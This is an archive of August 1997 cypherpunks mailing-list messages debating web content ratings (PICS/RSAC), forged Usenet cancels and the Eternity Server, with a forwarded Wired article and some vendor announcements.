In-Reply-To: <Pine.LNX.3.93.970806022614.103A-100000@shirley>
Message-ID: <Pine.LNX.3.95.970805140953.864C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, ? the Platypus {aka David Formosa} wrote:

> > NetNanny
> > 
> >    (www.odci.gov/) U.S. Central Intelligence Agency
> 
> Is thats where the world fact book is mounted?  It would be a pitty that
> this usefull resurch tool would be blocked.  I mean thay might find out
> that the CIA consideres every single country in the world a magour transit
> point for drugs.

Especially the evil designer drugs TCP and UDP.  Some countries try to
block them at their borders, but they always seem to route around it.

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bpettigrew@usa.net
Date: Wed, 6 Aug 1997 05:48:37 +0800
To: cypherpunks@toad.com
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes
Message-ID: <ww01-BHeVX12341@netaddress.usa.net>
MIME-Version: 1.0
Content-Type: text/plain



>At the moment, moreover, it doesn't appear that there are a variety 
of 
>ratings systems under development representing different values. In 
fact, 
>a system being created by the Recreational Software Advisory Council, 
a 
>Microsoft-led industry group, is quickly emerging as a de facto 
>standard. 

The problem isn't with PICS, or with ratings, or even with RSAC.  The
problem is that nobody else is making the effort to set up alternative
rating systems.  This leaves RSAC as the only option, by default.

Let the free speech organizations demonstrate their commitment to 
their
cause by creating their own ratings.  Rank sites on the basis of their
support of freedom, or on how privacy-friendly their policies are.
Even formalize the geek code.  Do something, anyway.

The solution to bad speech is more speech.  Don't suppress, ban,
or oppose RSAC.  Provide alternatives.

Bubba





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 5 Aug 1997 18:42:31 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Content Suggestions
In-Reply-To: <T8eXae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970805161240.757A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> I'd like to nominate another candidate for the eternity server.

As would I.  Warner Brothers has been shutting down any sites that even
hint of sex in relation to any of there cartoon caritors.  Although thay
clame it is to enforce tradmarks thay only will go after sites with a
sexulial content.

I would like to suggest that some toon porn be mounted on the eturnaty
server.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+bFUaQK0ynCmdStAQEQEwQAo1osOwEUPRuusfaA3wuPab607vVXPeq2
HTmy6PiPUyNQBJQq+BUtjAWwha0UtfgctMmJT1T1D6KLdPwoQxzLUI46kC8lv917
tScxa8ASjAsNWWoM1s4ZPtSro2iiUNDxC0dlyBM1Hssf/quYWETqae+9FplMMMnB
d4SwKP3p+JI=
=l9NN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 6 Aug 1997 07:43:46 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <19970805161821.15943@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Aug 05, 1997 at 10:28:02AM -0700, stewarts@ix.netcom.com wrote:
> >Kent Crispin <kent@songbird.com> writes:
> >> In more general terms: A "free market" fundamentally grants more
> >> control to those with more money.  Postage of whatever variety turns
> >> the medium over to those with more money.  That would, in my opinion, 
> >> fundamentally alter the character of email in a strongly negative 
> >> direction. 
> 
> More to the point, if you're charging prices that don't reflect the
> true costs of the activities, it'll catch up with you after a while;

I am, of course, familiar with this line of reasoning :-).  

However, it is arguably the case that the true cost of email *is*
being paid.  The real problem is that email is unbelievably cheap, for
both recipient and sender -- a sender can send more mail than anyone
can read at a very low cost, and a recipient can easily receive more
mail than they can possibly read, again for a very low cost.  

[...]

> The present situation is that the social dynamics and economics are such
> that Tacky People can make money by being rude to everyone without being 
> interesting in return.  While trying to charge money for communications
> may work, I'm inclined to doubt it; the more interesting currency to
> try to model is Reputation, which leads to more like an Ender's Game
> kind of net, or to semi-closed communities like the Well (is?was?).

Yes, virtual cryptographically closed communities.  A concept whose
time has come, perhaps. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 6 Aug 1997 07:51:50 +0800
To: cypherpunks@toad.com
Subject: Microsoft postpones plans to include RSACnews in Explorer
Message-ID: <Pine.GSO.3.95.970805163528.26115D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 16:35:00 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Microsoft postpones plans to include RSACnews in Explorer

[Note that Microsoft still plans to include RSACnews in Explorer 5.0.
--Declan]

---------- Forwarded message ----------

Inter@ctive Week
August 5, 1997

Microsoft Tables 'News' Rating System For Explorer

By Steven Vonder Haar 1:30 PM EDT

Microsoft Corp. has tabled plans to include new technology in its
Internet Explorer 4.0 browser that would have made "news" oriented
sites exempt from content rating standards promoted for use on the
Internet.

Officials at leading media companies, including Time Warner Inc. and
Dow Jones & Co., have lobbied industry leaders during the past month
in an effort to generate support for an approach that would exclude
news sites from content rating systems such the one promoted by the
Recreational Software Advisory Council (RSAC).

The media companies, rallied by the Internet Content Coalition
industry group, contend that the ratings are the equivalent of private
censorship that will eventually cut into freedom of speech rights on
the Internet.

"No one puts a filter over the mailbox to determine whether Time
magazine is appropriate for our audience," said Dan Okrent,
editor-in-chief at Time Inc. New Media. "The same standards should
apply to the Internet."

RSAC's current rating tool is integrated into the current Explorer
browser. It allows parents to block access to content based on RSAC
ratings. Sites that do not carry RSAC ratings also can be blocked.

RSAC recently came up with a "news" category designed to allow display
of news content without suitability ratings for individual stories.

RSAC President C. Dianne Martin said Microsoft is running out of time
to implement the separate designation for news sites before the launch
of the 4.0 version of Explorer later this year. However, the company
plans to include the news designation in the 5.0 version of Explorer
when it is made available, likely sometime next year.

RSAC can be reached at www.rsac.org

Microsoft can be reached at www.microsoft.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 5 Aug 1997 19:12:03 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <59kXae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970805162629.757B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > Haveing trubble working out what this line is,  as a flame it is limp
> > wristed, as a rebuttle it is pathtic.
> 
> Our frustration with the Cabal supporters is understandable.

It is, but that dosn't mean that you should stoop to such conterproductive
meathods.  A little bit of flear and a well resoned argument gose further
then a humourless flame.

[...]

> Pedophile Chris Lewis is a content censor.

I don't think Mr Lewis' algeded activerties with childeren have any
validity to the argument.  Calling him a 'Pedophile' or any other name is
not effective in changing my option about this mattor.

>  There are dozens of other examples.

As yet I have seen only the one, could you provide these other examples
where Chris Lewis has perposly canceled posts that he dosn't like.

[...]

> > Since Dr Vulis is the newsadmin of that site, the question is quite valid.

[...]

> I would like to be able to tell
> the rest of Usenet that these articles are not worth reading,

And if thay should deside the what is not work reading is not worth
storing?

[...]

> > Frees up diskspace + reducers propragtion.  May be a good thing.
> 
> A spew spreads to almost all the servers there are in minutes.

It seems to me more in the range of hours or days, esp in the case of
uucp sites wich don't connect often.

[...]

> > > We've got to receive repeated 
> > > blasts of forged cancels ten times the number of the offending posts?
> > 
> > Ergh?  There is only one cancel per post.
> 
> Were you around when Ausralia was knocked off the net by the cancels for the
> Cantor and Siegel "spam"?

There _is_ I'm talking about present tence.  Any anty spammer who dosn't
follow the convention is going to be stopped or losse there account (eg
David Richards).

>  Most of the forgers didn't follow the "$alz" convention (giving the
> forged cancel the message-id "cancel.<original id>".

I would argue that all cancels (not just 3rd party) should follow the
message id protocol.

[...]

> > Realy how about "Post to me your corefile for free porn."?
> 
> How about me posting under my own name, "E-mail your core file to Platypus
> for some free porn"?

This takes a little work,  you can't just reply to the email to get it in
my mail box,  gives the peaple who would do this a little more time to
think.  Thus reducing the amount of core files I would recive.

And yes if thay set the reply-to: feild of the message to me I do consider
it my post and cancelble from me.

> How about me posting under my own name or via an anonymous remailer, "Platypus
> is a spammer - complain to his ISP"?

Both uws.edu.au and acmeonnline would know these complants are bogus.

> Would you be justified in forgin cancels for these?

No.

> How about if someone posted your credit card numbers to Usenet?

I don't have a credit card for just that reson.  The creadit card securaty
system is so fundermently flawed as to be the equiverlent of sticking a
large sign on your forhead marked "ROB ME"

> I don't have an issue with anyone's .sig, especially Dr. Fomin's, but
> Net.Scum like Chris Lewis might use this as an excuse to declare your
> writings "spam".

Not a chance.  The PGP part changes every post, its within McQ, and I
write a content that is diffrent.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+bNCqQK0ynCmdStAQEY7gP+Pb5QqKJYdaORGmSVjZ6ZphWtTxMklJt8
LpugNAiDzQ9pegXLg3Sxc9km8SV4OGnrSU1+cE9o2B9xXbuqUWntA+5Pcij/hEyk
fLk+xq5qweYNKAukAMBtr5f2lXP1O9CVj/VMBb4n9XvvGg3KoaWjNT46TAPUCtjl
oShaO+JLFa8=
=F/Tv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 6 Aug 1997 08:12:49 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity's 15 Minutes of Fame
Message-ID: <19970805235827.11932.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



There is a short piece by "Wired News" on the Eternity servers. 

   http://www.wired.com/news/news/technology/story/5778.html

I should add that all Eternity servers...

         http://www.zipcon.com/~enoch/eternity
         http://www.replay.com/~aba/eternity
and      http://eternity.insync.net/eternity

now have pretty icons and a more attractive format. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 6 Aug 1997 08:12:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Eternity's 15 Minutes of Fame
In-Reply-To: <19970805235827.11932.qmail@zipcon.net>
Message-ID: <19970806000149.14388.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Correction....

>          http://www.replay.com/~aba/eternity

Adam's server is http://www.replay.com/aba/eternity.  No "~".

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 6 Aug 1997 05:33:35 +0800
To: cypherpunks@cyberpass.net
Subject: eternity server makes wired
Message-ID: <CMM.0.90.4.870816034.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Good going, guys...

http://www.wired.com/news/news/technology/story/5778.html


   [Masthead]
   []
   [Navigation bar]
   [Stocks] __________
   ______________
   
   
   [Search] [WIRED magazine]
   []
   [Back] Creating Anonymous Sites That Can't Be Revoked
   
   by Michael Stutz 
   12:05pm  5.Aug.97.PDT Web sites, having a physical, traceable
   location, are always subject to censorship. In such attacks, a
   government or other localized entity orders the removal of - or even
   physically raids - those sites which host non-approved content within
   its sovereign borders; these sites are often forced to "unpublish" or
   destroy such information.
   
   Now, a means of creating anonymous, unrevokable Web sites has been
   developed. Originally proposed in theory by UK cryptologist Ross
   Anderson, the Eternity Server is being implemented by a band of
   cypherpunks including Adam Back, a research fellow at Exeter
   University.
   
   The idea is simple. Web content - even entire sites - can be posted to
   Usenet in such a way that it can be easily retrieved.
   
   Usenet's discussion forums are distributed across thousands of news
   servers around the world. This, it turns out, makes for a perfect,
   anonymous digital repository: "No one knows who's reading it," said
   Back. "They can't find all Eternity Servers from some centralized
   list. It's decentralized, unlike a mailing list, where there is a
   central node which can be taken out."
   
   The mechanics of document submission are as follows: Eternity Service
   recognizes its own fictitious top-level domain, .eternity. From there,
   a Web document is given its own virtual URL, and the subject line of
   the message becomes a unique mathematical representation of that
   virtual URL, from which the document can be retrieved using search
   techniques. Furthermore, the message is encrypted so that knowledge of
   this URL is necessary for decryption.
   
   Once posted to Usenet, the document will be viewable in perpetuity and
   can be reconstructed in a Web browser by any Eternity Server program,
   which simply decodes the .eternity URL into its equivalent Usenet
   message, then fetches, decrypts, and displays it. Eternity supports
   digital signatures to maintain author anonymity, allowing for
   unconditional free speech.
   
   Mike Duvos, a Seattle-area computer-software consultant, is an
   Eternity Service user. He sees this as part of Usenet's ongoing
   evolution, just as it previously changed from a text-only medium to
   include binary files as well.
   
   "Establishing a convention for the posting of Web content to Usenet,
   employing modern encryption and authentication tools, and permitting
   transparent browsing of that content, is just another step in the same
   direction," he said.
   
   While still fresh out of beta, the technique shows a great deal of
   promise as a foil to conventional means of censorship. "The attention
   gathered by censoring an Eternity Server will ensure that lots of
   other servers start up," said Back. "It will generate a feeding frenzy
   of new servers springing up," he said, assisting free speech from here
   - to Eternity.
   
   Find related stories from the Web's top news sites with NewBot
   
   [Back] [Navigation strip]
   
   Feedback: Let us know how we're doing.
   
   Tips: Have a story or tip for Wired News? Send it.
   
   Copyright ) 1993-97 Wired Ventures Inc. and affiliated companies.
   All rights reserved.
   
   [HotWired and HotBot]
   [] []
   Click here for Vivo
   
   [technology]
   TECHNOLOGY
   Today's Headlines
   
   Creating Anonymous Sites That Can't Be Revoked
   
   Microsoft Reportedly Entering Net Search Biz
   
   Macromedia Offers Dynamic HTML Helper
   
   NCR Licenses Solaris
   
   Testimony Gets Animated
   
   MP3 Music Pirates Lurk in Chat Zones
   
   Eword: Doctor Roboto
   
   Outta Beta: Community Building Blocks
   
   
   Click here for Vivo [INLINE]

------

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
standard disclaimer, blah blah blah...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 5 Aug 1997 19:55:50 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <icJXae1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970805165910.757C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> wireinfo <wireinfo@phoenix.net> writes:

[...]

> > You're not very bright are you David?
> 
> In my humble opinion David is pretty bright.  Unfortunately he's misguided
> about certain things.  

Thankyou,  I feel almost the same thing about you :D

> I think the extreme aversion to censorship (like that displayed by imp
> and myself) seldom arises in people who haven't themselves been victims
> of censorship

Dose threats from a multynatnatil corpration count?  Dose living in
Austrlia count?

> The current top "spam canceller", Rich Bland ("cosmo")

Jem seems to have gotten to the top of the list now.

[...]

> Most of the people who scream about their "hatred of spam" on news.* are not
> admins, but fairly recent users who figure that "fighting spam" is a cool 
> thing.

Meany of the "I'm pissed off with spam" peaple lack knowlige of the
conciquencers both social and technical of what thay are suggesting.  In
fact there are membours of the anty-cancelers that I trust more then
them.

That being said thouse that are in the center, are more resonable and are
worryed about there activeriese have my support.

[...]

> I was just pointing out that it's factually incorrect to use
> "admins" as a synonym for "anti-spammers".  

No sane person would suggest that (i.e. lots of peaple on usenet would
make that suggestion) because if it was true then we wouldn't have the
problems with agis or uunet.

> Many admins are pro-free speech.

I woundn't have it any other way.

[...]

> Chris Lewis and Dave Barr obth
> forge cancels for usenet articles that follow up on their articles and quote
> them, claiming "copyright violations".

This is interesting,  proof please.

[...]

> Once the offending articles are part of the spool on toher site, it's 
> pointless for me to issue cancels. 

Not even to free up diskspace?

> Note that both have happened:

I know.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+bVx6QK0ynCmdStAQG82gP+LuH2yOt+02VJDrNk0ZHo9Jxm3WoYbs6g
HcUNCWAlvUFn8PhGqCqdYGaxYrjVDQX4EwIzgvhvpmZ3KOuIQjTl4vWlThoLZ6Yr
HrpdGRwrdOzYI/Xd5JV4OPybRwqesEVwHiL2QbGu08g1enkwbwuEnkDXRQPbX+7e
cpYEAGEUL6o=
=R4gE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 6 Aug 1997 10:27:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Canada's Entrust does end-run around ITAR
In-Reply-To: <199708020443.VAA10553@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970805174155.0077faa0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:43 PM 8/1/97 -0700, Vladimir Z. Nuri wrote:
>NY Times
>August 1, 1997
>Canadian Product Puts New Spin on Encryption Debate
>By PETER WAYNER 
...

Thanks for posting the article - it's an interesting product to
play with.

However, "end run" isn't the right metaphor -
it's a different ball field, it's Canadian Football now,
and the Yankees don't have the home field advantage any more
and can't keep making up silly rules like having to hand the ball
to the FBI Halfback to check for Commies under it before passing it.

It's true there are some silly Canadian rules, like the
Canadian Content bit, but PGP could satisfy that by 
replacing the Keygen.avi movie with someone singing "Oh, Canada"... :-)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 6 Aug 1997 10:26:34 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Content Suggestions
In-Reply-To: <T8eXae1w165w@bwalk.dm.com>
Message-ID: <v03102801b00d7f31626c@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:16 PM +1000 8/5/97, ? the Platypus {aka David Formosa} wrote:
>Warner Brothers has been shutting down any sites that even
>hint of sex in relation to any of there cartoon caritors.  Although thay
>clame it is to enforce tradmarks thay only will go after sites with a
>sexulial content.

About a year ago a very popular sheet music warez site, being hosted at
Uiveristy of Nevada Las Vegas, was taken down due to publisher pressure.  A
resurection is surely in order.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Grant Sparks <grant@sparks.to>
Date: Tue, 5 Aug 1997 17:01:02 +0800
To: "'cypherpunks@toad.com>
Subject: Oz
Message-ID: <01BCA1CF.B3117820.grant@sparks.to>
MIME-Version: 1.0
Content-Type: text/plain



Are there any Australian cypherpunks ?  Contact me & we'll get together a local 
chapter,

Grant Sparks
grant@sparks.to
Finger me for PGP and WWW information.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 6 Aug 1997 09:03:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes (fwd)
Message-ID: <199708060050.TAA03620@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: bpettigrew@usa.net
> Date: Tue, 05 Aug 1997 15:23:52
> Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes

> Let the free speech organizations demonstrate their commitment to 
> their
> cause by creating their own ratings.

We are, by simply not rating ourselves and refusing to support others rating
systems.

Hint: FREE speech

                                                     Jim Choate
                                                     The Armadillo Group
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 6 Aug 1997 11:50:03 +0800
To: cypherpunks@toad.com
Subject: Attend Windows NT Intranet Solutions!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.28372.08051997200009.85836@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          8/6/97
-----------------------------------------------------------------
Are you looking to evaluate the latest Windows NT products?
Attend Windows NT Intranet Solutions August 11-15.

What:       Windows NT Intranet Solutions August 11-15
Where:      Moscone Center -- San Francisco, CA
When:       August 11-15

Windows NT Intranet Solutions, the NT Event, features a conference
and expo program focused on all the major NT issues:

  -  Integrating Unix/NetWare and NT
  -  Migrating applications to NT
  -  NT scalability and clustering
  -  Managing and securing NT networks and much more.

The expert-led Conference program, co-sponsored by PC WEEK,
Inter@ctive Week and Windows Sources, runs August 11-15 and the
3-day Expo, featuring all the leading vendors and the latest NT 
products and solutions, runs August 13-15.

To register free for the Expo and get complete conference info, 
call (888)800-8920 or visit the Windows NT Intranet Solutions 
on the Web at:

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Windows NT Intranet Solutions is presented by SOFTBANK Forums, 
the producers of NetWorld+Interop and Seybold Seminars.

_______________________________________________________________
ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

 --To subscribe to ZDNet Announcements, please send mail to:
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 --To unsubscribe to ZDNet Announcements, please send mail to:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 6 Aug 1997 08:58:49 +0800
To: cypherpunks@toad.com
Subject: JYA Up
Message-ID: <1.5.4.32.19970806003415.00689254@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



AOL/PrimeHost has reactivated JYA.

AOL's story for the takedown is that our seldom used ftp 
component was being used by unidentified parties to traffic in 
warez and that it had nothing to do with the http part, "whose 
content does not concern us."

Still, it's odd we did not get a call about the problem as was done
a few weeks ago for a similar warez invasion. At that time, we 
offered to close our ftp, but the PrimeHost rep said no, we'll monitor 
it, as we do other ftps. I specifically asked to be notified if it
happened again, but wasn't. And it's not clear why it took a
week for me to find out what was what. Or why not AOL did not
just close the ftp and leave the http operating.

'Course, maybe the  takedown was signal of distrust of JYA
innocence. And a warning.

Thanks to the folks who offered more help than the teapot
tempest seems to have warranted -- so far.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Feanor <feanor@nym.alias.net>
Date: Wed, 6 Aug 1997 05:32:18 +0800
To: cypherpunks@toad.com
Subject: Question: What's with cypherpunks-unedited?
Message-ID: <19970805211314.15653.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Just wondering what the story was behind the split and subsequent going-away of
cypherpunks@toad.com?

Also, I'm getting about 20 msgs a day: is that correct or is my gateway broken
again?

Thanks!

-Robin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Wed, 6 Aug 1997 10:08:23 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199708060141.VAA05919@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================
This update is sponsored by IBM   http://www.wow-com.com/professional/systemint/
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FCC grants CTIA petition challenging local zoning  moratoriums and seeks further comments.  CTIA Says: Further comment spells further delay.  Read the whole story here.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 6 Aug 1997 13:47:44 +0800
To: Declan McCullagh <Jonathan.Weber@latimes.com
Subject: Re: "A new battle over keeping the Net clean," by J.Weber/LATimes
In-Reply-To: <Pine.GSO.3.95.970805105217.27178F-100000@well.com>
Message-ID: <199708060531.WAA19064@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




DM, JW, *please* get more info on PICS. in the early stages of its
development, many people were interested in using the rating
system to rate *cool* pages. that is, the same system could be
used to point to neat content and help people navigate. therefore,
your examples always involving censorious groups like the
"christian coalitian" is highly misleading. have you heard
of the "point communications" awards, surely? such a system
would benefit immensely from the standardization of ratings that
PICS is trying to achieve..


I urge all rabid libertarians to get a clue about what the
rating systems are actually trying to accomplish.



>From: Jonathan Weber <Jonathan.Weber@latimes.com>
>To: Declan McCullagh <declan@well.com>
>Subject: ratings story
>
>
>Innovation/ Jonathan Weber 
> 
>A New Battle   Over Keeping   the Web Clean   
>
>   On one side are the big, mainstream Internet and computer companies, 
>led by America Online and Microsoft, which proclaim their eagerness to 
>make cyberspace "safe for families.'' Lining up against them are 
>free-speech advocates, including the American Civil Liberties Union and 
>the American Library Assn., which see ratings systems as censorship 
>tools. 

this is a silly us vs. them characterization for simpleminds of a much
more complex issue. there are no clearly defined sides and it's not
a war.

>""Ratings systems are developed to enable one individual to exercise 
>control over what another person sees,'' says Marc Rotenberg, director of 
>the Electronic Privacy Information Center. That might be OK for parents 
>and their children, he allows, but such a tool will inevitably be used by 
>public institutions and governmentsif not here then abroadto restrict 
>speech. 

not if the constitution is valid in our own country. let's cross that
bridge when the government comes to it. no reason to spread fear,
uncertainty, and doubt over something that's not happened.

>   An even bigger worry is that what's being sold as a voluntary system 
>that will include a multiplicity of ratings systems is actually going to 
>be an all-but-mandatory system that offers very few choices. 

worry, worry, fear, fear. same as with CDA. just as baseless in
the long run.

>   Consider, first of all, what happens to Web sites that decline to rate 
>their pages. Any PICS-based filter would have to block all unrated pages. 

bzzzzzzzzzzzzt. those that use the filters are free to configure them
how they want. virtually all the filtering software allows different
levels of security. one can often treat the bad rating as merely an
advisory warning.

>Already, ratings proponents are calling on the major search services, 
>such as Yahoo, not to index unrated sites.

who is calling for this? PICS was designed with the idea that many
ratings would be by third-parties. I don't think self-ratings are 
going to be that common on the net, and its really absurd for anyone
to pretend there is going to be a major pressure on anyone to
"rate" their sites.   who are these nameless advocates? where is
the data? this article is about nothing but baseless speculation.

 Overseas Web services would 
>face the choice of adopting a U.S. labeling system or forgoing access to 
>any U.S. readers. Web publishers that didn't want to participate might 
>suddenly find themselves in a deserted backwater of the network. 

yes, one can create all kinds of scary scenarios when you have a teeny
brain that is overcome with fright over the slightest new situation in
life. 

>   There's also the question of how disputes over ratings would be 
>arbitrated. Sites would be self-rated, and in fact the vast majority of 
>sites would have no incentive to misrepresent themselves. But what 
>happens when some do anyway? Would it be a crime for a porn site to 
>proclaim itself suitable for children? 

SELF RATINGS are not the main use of ratings. ratings mostly make
sense with THIRD PARTIES doing the rating. there is no such thing
as "misrepresentation". who is it that thinks everything is going
to be "self rated"? whoever does is missing the essential
THIRD PARTY ASPECT that is designed into the core of PICS.

>   At the moment, moreover, it doesn't appear that there are a variety of 
>ratings systems under development representing different values. In fact, 
>a system being created by the Recreational Software Advisory Council, a 
>Microsoft-led industry group, is quickly emerging as a de facto standard. 

so what?

>   The battles over how RSAC handles certain kinds of sites have only 
>just begun, but to see the inevitable problems one need look no further 
>than the ongoing discussion about news. 

"battles, fights"-- the mentality of the person who wrote this is clear.
where is this fighting going on ? who are the people? I haven't seen
any fights except a lot of fearmongering in cyberspace over completely
hypothetical situations.

>N   ews sites, reasonably enough, don't want to rate     themselves. At 
>the very least it would be impractical to label every page of a big news 
>site every day to warn of violent or tasteless or otherwise disturbing 
>content. And labeling news just doesn't seem very consistent with freedom 
>of the press. 

SELF RATING is not going to be a major use of ratings. existing 
filtering software rarely works through SELF RATING. whoever focuses
on SELF RATING relative to the rating systems doesn't have a clue about
the major use of the technology.

>   So the news organizations want to have a special news rating. Who 
>qualifies for a news rating? Well, a committeeoperating under the 
>auspices of the Internet Content Coalition, which represents a number of 
>major publishers (including The Times)would decide. News organizations 
>get together to decide who is and who isn't a news organization. Hmm. 

bzzzzzzzzzzzt. anyone is free to rate anything. this coalition can get
together and rate anything they want right now. PICS does not change
that. it only gives a way for users who CHOOSE TO to access those
ratings and integrate them with their browsers.

>   In the face of these objections, the Clinton administration and the 
>companies backing the ratings effort say that, first of all, something 
>has to be done to stave off new legislation. If industry doesn't act, 
>Congress will come up with "son of CDA,'' and this time it might hold up 
>in court. 

the earth might stop rotating tomorrow, too. why is it that we have
a constitution but we don't believe in it? that those who scream the
loudest about constitutional violations are those that are least likely
to believe in it?

>   And that is the nightmare of free-speech advocates: that a medium that 
>the Supreme Court declared ought to be treated at least as liberally as 
>print (ever heard of ratings for books?) will nonetheless be driven into 
>TV-like conformity. 

absurd.

>This is a legitimate fear.

